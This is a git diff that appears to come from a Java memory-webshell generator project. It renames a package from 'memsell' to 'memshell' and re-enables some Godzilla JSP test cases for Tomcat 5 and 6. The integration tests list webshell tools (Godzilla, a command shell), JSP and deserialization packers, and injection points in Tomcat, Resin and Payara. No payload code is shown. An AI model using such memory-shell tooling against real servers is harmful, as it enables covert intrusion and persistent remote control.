arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
||||
);
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.resin;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.resin;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.resin;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.resin;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
|
||||
+2
-2
@@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.tomcat;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.TomcatShell;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
|
||||
+2
-2
@@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.tomcat;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.TomcatShell;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
|
||||
+2
-2
@@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.tomcat;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.TomcatShell;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
|
||||
+6
-4
@@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.tomcat;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import com.reajason.javaweb.memshell.TomcatShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -41,10 +41,12 @@ public class Tomcat5ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
// arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
|
||||
+6
-4
@@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.tomcat;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import com.reajason.javaweb.memshell.TomcatShell;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -41,10 +41,12 @@ public class Tomcat6ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
// arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user